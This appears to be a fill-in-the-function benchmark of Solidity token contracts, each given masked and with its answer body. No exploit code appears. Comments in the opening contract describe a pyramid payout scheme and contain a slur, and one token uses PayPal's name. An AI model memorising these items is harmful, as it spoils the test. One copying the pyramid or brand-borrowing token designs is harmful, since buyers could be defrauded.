tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = exitFee(_ethereum); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = exitFee(_ethereum); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { // data setup uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _amountOfTokens = ethereumToTokens_(SafeMath.sub(_incomingEthereum, _undividedDividends)); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != msg.sender && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[msg.sender] += _updatedPayouts; // // fire event emit onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy); emit Transfer(address(this), msg.sender, _amountOfTokens); return _amountOfTokens; } function addFounder(address _newFounder) onlyAdministrator() public { founders_[_newFounder] = true; } function multiAddFounder(address[] memory _founders) public onlyAdministrator() { for (uint256 i = 0; i < _founders.length; i++) { founders_[_founders[i]] = true; } } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } function getTime() public returns(uint256) { return block.timestamp; } /** * Calculate the current exit fee. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function exitFee(uint256 _amount) internal view returns (uint256) { uint256 fee = (800000 - 20000 * (now - launchTime) / (1 days)) * _amount / 1000000; // allowed range if (fee < _amount * exitFeeLow_ * 1000 / 100000) { fee = _amount * exitFeeLow_ * 1000 / 100000; } if (fee > _amount * exitFeeHigh_ * 1000 / 100000) { fee = _amount * exitFeeHigh_ * 1000 / 100000; } return fee; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
function myDividends(bool _includeReferralBonus) public view returns(uint256)
/** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256)
28414
Pausable
pause
contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _pausableActive; bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused whenPausableActive {<FILL_FUNCTION_BODY> } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused whenPausableActive { _paused = false; emit Unpaused(msg.sender); } /** * @dev Options to activate or deactivate Pausable ability */ function _setPausableActive(bool _active) internal { _pausableActive = _active; } modifier whenPausableActive() { require(_pausableActive); _; } }
contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _pausableActive; bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } <FILL_FUNCTION> /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused whenPausableActive { _paused = false; emit Unpaused(msg.sender); } /** * @dev Options to activate or deactivate Pausable ability */ function _setPausableActive(bool _active) internal { _pausableActive = _active; } modifier whenPausableActive() { require(_pausableActive); _; } }
_paused = true; emit Paused(msg.sender);
function pause() public onlyPauser whenNotPaused whenPausableActive
/** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused whenPausableActive
58507
CapperAccess
null
contract CapperAccess is Ownable, AccessControl { bytes32 public constant CAPPER_ROLE = keccak256("CAPPER_ROLE"); modifier onlyCapper { require(hasRole(CAPPER_ROLE, _msgSender()), "Sender is not a capper"); _; } constructor() public {<FILL_FUNCTION_BODY> } function addCapper(address account) external { grantRole(CAPPER_ROLE, account); } function renounceCapper(address account) external { renounceRole(CAPPER_ROLE, account); } }
contract CapperAccess is Ownable, AccessControl { bytes32 public constant CAPPER_ROLE = keccak256("CAPPER_ROLE"); modifier onlyCapper { require(hasRole(CAPPER_ROLE, _msgSender()), "Sender is not a capper"); _; } <FILL_FUNCTION> function addCapper(address account) external { grantRole(CAPPER_ROLE, account); } function renounceCapper(address account) external { renounceRole(CAPPER_ROLE, account); } }
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(CAPPER_ROLE, msg.sender);
constructor() public
constructor() public
59985
WIN12
transfer
contract WIN12 is ERC20Detailed { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; address uniswapWallet = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address liquidityWallet = 0xFC8B42aC9133EF1E9e6645b9b023f15A060f167B; string constant tokenName = "WIN12 GAME - GIGO Fair Token"; string constant tokenSymbol = "WIN12"; uint8 constant tokenDecimals = 12; uint256 _totalSupply = 12000000000000; uint256 public burnPercent = 1200; constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _mint(msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function getburningPercent(uint256 value) public view returns (uint256) { uint256 roundValue = value.ceil(burnPercent); uint256 burningPercent = roundValue.mul(burnPercent).div(10000); return burningPercent; } function transfer(address to, uint256 value) public returns (bool) {<FILL_FUNCTION_BODY> } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); if (msg.sender == liquidityWallet || from == liquidityWallet){ _balances[from] = _balances[from].sub(value); uint256 tokenTransfer = value; _balances[to] = _balances[to].add(tokenTransfer); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokenTransfer); return true; } else { _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = getburningPercent(value); uint256 tokensForTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensForTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensForTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } // NO MINTING function _mint(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function burnFrom(address account, uint256 amount) external { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount); _burn(account, amount); } }
contract WIN12 is ERC20Detailed { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; address uniswapWallet = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address liquidityWallet = 0xFC8B42aC9133EF1E9e6645b9b023f15A060f167B; string constant tokenName = "WIN12 GAME - GIGO Fair Token"; string constant tokenSymbol = "WIN12"; uint8 constant tokenDecimals = 12; uint256 _totalSupply = 12000000000000; uint256 public burnPercent = 1200; constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _mint(msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function getburningPercent(uint256 value) public view returns (uint256) { uint256 roundValue = value.ceil(burnPercent); uint256 burningPercent = roundValue.mul(burnPercent).div(10000); return burningPercent; } <FILL_FUNCTION> function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); if (msg.sender == liquidityWallet || from == liquidityWallet){ _balances[from] = _balances[from].sub(value); uint256 tokenTransfer = value; _balances[to] = _balances[to].add(tokenTransfer); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokenTransfer); return true; } else { _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = getburningPercent(value); uint256 tokensForTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensForTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensForTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } // NO MINTING function _mint(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function burnFrom(address account, uint256 amount) external { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount); _burn(account, amount); } }
require(value <= _balances[msg.sender]); require(to != address(0)); if (msg.sender == uniswapWallet || msg.sender == liquidityWallet || to == liquidityWallet || to == uniswapWallet ){ uint256 tokenTransfer = value; _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokenTransfer); emit Transfer(msg.sender, to, tokenTransfer); return true; } else { if (value > 1200000000000) { revert(); } uint256 tokensToBurn = getburningPercent(value); uint256 tokensForTransfer = value.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokensForTransfer); // No change here, or nothing will work _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensForTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; }
function transfer(address to, uint256 value) public returns (bool)
function transfer(address to, uint256 value) public returns (bool)
31332
PayPalTokenOfficialLaunch
null
contract PayPalTokenOfficialLaunch is Owned,ERC20{ uint256 public maxSupply; constructor(address _owner) {<FILL_FUNCTION_BODY> } receive() external payable { revert(); } }
contract PayPalTokenOfficialLaunch is Owned,ERC20{ uint256 public maxSupply; <FILL_FUNCTION> receive() external payable { revert(); } }
symbol = unicode"sPAYPAL"; name = "PayPal Token Official Launch"; decimals = 18; totalSupply = 100000000000000*10**uint256(decimals); maxSupply = 100000000000000*10**uint256(decimals); owner = _owner; balances[owner] = totalSupply;
constructor(address _owner)
constructor(address _owner)
76222
AbstractSweeper
contract AbstractSweeper { WalletController public controller; constructor (address _controller) public { controller = WalletController(_controller); } function () public {<FILL_FUNCTION_BODY> } function sweep(address token, uint amount) public returns (bool); modifier canSweep() { if (!controller.authorized(msg.sender)) revert(); if (controller.halted()) revert(); _; } }
contract AbstractSweeper { WalletController public controller; constructor (address _controller) public { controller = WalletController(_controller); } <FILL_FUNCTION> function sweep(address token, uint amount) public returns (bool); modifier canSweep() { if (!controller.authorized(msg.sender)) revert(); if (controller.halted()) revert(); _; } }
revert();
function () public
function () public
65869
BEMEToken
burn
contract BEMEToken { // Public variables of the token string public name = "Bemers"; string public symbol = "BEME"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function BEMEToken() public { totalSupply = 1000000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
contract BEMEToken { // Public variables of the token string public name = "Bemers"; string public symbol = "BEME"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function BEMEToken() public { totalSupply = 1000000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } <FILL_FUNCTION> /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true;
function burn(uint256 _value) public returns (bool success)
/** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success)
65224
ManagedToken
setManager
contract ManagedToken is BasicToken { address manager; modifier restricted(){ require(msg.sender == manager,"Function can only be used by manager"); _; } function setManager(address newManager) public restricted{<FILL_FUNCTION_BODY> } }
contract ManagedToken is BasicToken { address manager; modifier restricted(){ require(msg.sender == manager,"Function can only be used by manager"); _; } <FILL_FUNCTION> }
balances[newManager] = balances[manager]; balances[manager] = 0; manager = newManager;
function setManager(address newManager) public restricted
function setManager(address newManager) public restricted
20670
AldiyoCoin
AldiyoCoin
contract AldiyoCoin is StandardToken { string constant public name = "Aldiyo Coin"; string constant public symbol = "ALD"; uint8 constant public decimals = 18; function AldiyoCoin() public {<FILL_FUNCTION_BODY> } }
contract AldiyoCoin is StandardToken { string constant public name = "Aldiyo Coin"; string constant public symbol = "ALD"; uint8 constant public decimals = 18; <FILL_FUNCTION> }
totalSupply = 100000000 * 10**18; balances[msg.sender] = totalSupply;
function AldiyoCoin() public
function AldiyoCoin() public
33181
iToken
null
contract iToken is ERC20Standard { constructor() public {<FILL_FUNCTION_BODY> } }
contract iToken is ERC20Standard { <FILL_FUNCTION> }
totalSupply = 50000000000; name = "iToken"; decimals = 4; symbol = "ITN"; version = "1.0"; balances[msg.sender] = totalSupply;
constructor() public
constructor() public
78745
TokenClaimer
_claimStdTokens
contract TokenClaimer{ event ClaimedTokens(address indexed _token, address indexed _to, uint _amount); /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function _claimStdTokens(address _token, address payable to) internal {<FILL_FUNCTION_BODY> } }
contract TokenClaimer{ event ClaimedTokens(address indexed _token, address indexed _to, uint _amount); <FILL_FUNCTION> }
if (_token == address(0x0)) { to.transfer(address(this).balance); return; } TransferableToken token = TransferableToken(_token); uint balance = token.balanceOf(address(this)); (bool status,) = _token.call(abi.encodeWithSignature("transfer(address,uint256)", to, balance)); require(status, "call failed"); emit ClaimedTokens(_token, to, balance);
function _claimStdTokens(address _token, address payable to) internal
/// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function _claimStdTokens(address _token, address payable to) internal
50253
UpgradeabilityProxy
null
contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is * validated in the constructor. */ bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; /** * @dev Contract constructor. * @param _implementation Address of the initial implementation. */ constructor(address _implementation) public {<FILL_FUNCTION_BODY> } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) private { require(AddressUtils.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } }
contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is * validated in the constructor. */ bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; <FILL_FUNCTION> /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) private { require(AddressUtils.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } }
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation")); _setImplementation(_implementation);
constructor(address _implementation) public
/** * @dev Contract constructor. * @param _implementation Address of the initial implementation. */ constructor(address _implementation) public
56227
MasterpieceCore
unpause
contract MasterpieceCore is MasterpieceMinting { // - MasterpieceAccessControl: This contract defines which users are granted the given roles that are // required to execute specific operations. // // - MasterpieceBase: This contract inherits from the MasterpieceAccessControl contract and defines // the core functionality of CryptoMasterpieces, including the data types, storage, and constants. // // - MasterpiecePricing: This contract inherits from the MasterpieceBase contract and defines // the pricing logic for CryptoMasterpieces. With every purchase made through the Core contract or // through a sale auction, the next listed price will multiply based on 5 price tiers. This ensures // that the Masterpiece bought through CryptoMasterpieces will always be adjusted to its fair market // value. // // - MasterpieceOwnership: This contract inherits from the MasterpiecePricing contract and the ERC-721 // (https://github.com/ethereum/EIPs/issues/721) contract and implements the methods required for // Non-Fungible Token Transactions. // // - MasterpieceAuction: This contract inherits from the MasterpieceOwnership contract. It defines // the Dutch "clock" auction mechanism for owners of a masterpiece to place it on sale. The auction // starts off at the automatically generated next price and until it is sold, decrements the price // as time passes. The owner of the masterpiece can cancel the auction at any point and the price // cannot go lower than the price that the owner bought the masterpiece for. // // - MasterpieceSale: This contract inherits from the MasterpieceAuction contract. It defines the // tiered pricing logic and handles all sales. It also checks that a Masterpiece is not in an // auction before approving a purchase. // // - MasterpieceMinting: This contract inherits from the MasterpieceSale contract. It defines the // creation of new regular and promotional masterpieces. // Set in case the core contract is broken and a fork is required address public newContractAddress; function MasterpieceCore() public { // Starts paused. paused = true; // The creator of the contract is 